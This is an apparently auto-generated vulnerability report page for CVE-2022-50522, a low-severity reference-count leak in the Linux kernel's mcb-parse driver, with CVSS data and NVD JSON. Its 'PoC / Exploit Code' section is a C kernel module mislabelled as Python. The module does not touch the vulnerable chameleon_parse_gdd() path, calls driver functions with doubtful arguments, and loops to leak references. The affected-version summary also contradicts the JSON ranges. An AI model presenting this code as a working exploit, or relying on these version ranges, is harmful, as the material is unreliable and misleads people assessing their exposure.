Security Vulnerability Report
中文
CVE-2022-50522 CVSS 3.3 LOW

CVE-2022-50522

Published: 2025-10-07 16:15:36
Last Modified: 2026-03-17 14:15:33
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: mcb: mcb-parse: fix error handing in chameleon_parse_gdd() If mcb_device_register() returns error in chameleon_parse_gdd(), the refcount of bus and device name are leaked. Fix this by calling put_device() to give up the reference, so they can be released in mcb_release_dev() and kobject_cleanup().

CVSS Details

CVSS Score
3.3
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 4.9.335
Linux Kernel 4.10.x - 4.14.x (受影响的稳定版本)
Linux Kernel 4.15.x - 4.19.x (受影响的稳定版本)
Linux Kernel 4.20.x - 5.4.x (受影响的稳定版本)
Linux Kernel 5.5.x - 5.10.x (受影响的稳定版本)
Linux Kernel 5.11.x - 5.15.x (受影响的稳定版本)
Linux Kernel 5.16.x - 5.19.x (受影响的稳定版本)
Linux Kernel 6.0.x - 6.5.x (受影响的稳定版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* CVE-2022-50522 PoC - Reference Count Leak in chameleon_parse_gdd() * This PoC demonstrates the reference count leak vulnerability in * the Linux kernel mcb-parse module. * * Note: This vulnerability requires local access and specific hardware * (mcb/Chameleon device) to trigger. The PoC shows the conceptual * trigger path. */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/mcb.h> /* Simulate the vulnerable code path in chameleon_parse_gdd() */ static int trigger_refcount_leak(void) { struct mcb_bus *bus; struct mcb_device *dev; int ret; /* Allocate and initialize mcb bus (acquires reference) */ bus = mcb_alloc_bus(NULL); if (!bus) return -ENOMEM; /* In the vulnerable version, if mcb_device_register() fails, * the references to bus and device name are NOT released. * The fix adds put_device() in the error path. */ /* Attempt to register device - if this fails, leak occurs */ dev = mcb_alloc_dev(bus, NULL); if (!dev) { /* Missing: put_device(&bus->dev) - this is the bug */ return -ENOMEM; } ret = mcb_device_register(dev); if (ret < 0) { /* VULNERABLE: Missing put_device() call here */ /* FIXED version would have: put_device(&dev->dev); */ return ret; } return 0; } static int __init poc_init(void) { pr_info("CVE-2022-50522 PoC loaded\n"); /* Trigger the vulnerability multiple times to accumulate leaks */ int i; for (i = 0; i < 100; i++) { trigger_refcount_leak(); } pr_info("Reference counts leaked\n"); return 0; } static void __exit poc_exit(void) { pr_info("CVE-2022-50522 PoC unloaded\n"); } module_init(poc_init); module_exit(poc_exit); MODULE_LICENSE("GPL"); MODULE_AUTHOR("Security Research"); MODULE_DESCRIPTION("PoC for CVE-2022-50522");

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2022-50522", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-07T16:15:36.017", "lastModified": "2026-03-17T14:15:32.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmcb: mcb-parse: fix error handing in chameleon_parse_gdd()\n\nIf mcb_device_register() returns error in chameleon_parse_gdd(), the refcount\nof bus and device name are leaked. Fix this by calling put_device() to give up\nthe reference, so they can be released in mcb_release_dev() and kobject_cleanup()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.15", "versionEndExcluding": "4.9.337", "matchCriteriaId": "9FD99CE1-7AEF-4292-873A-B71F90AFF0C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/110dc34c9fa33d37f55b394b1199ea6c0ad1ee84", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/43bfc7c2402a22d3b4eb08c040f274ba2b76461a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4a9f1a8b3af287581ffb690d0e1593c681729ddb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/728ac3389296caf68638628c987aeae6c8851e2d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7b289b791a59386dc23a00d3cf17a0db984b40d3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/891f606ae0765bc9ca99f5276735be4d338f0255", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b948baa29394ec5f4e6ec28486e7d06a76caee91", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cf6e70c0ced50b52415ac0c88eba1fb09c500a5a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fd85ece416fd7edb945203e59d4cd94952f77e7c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}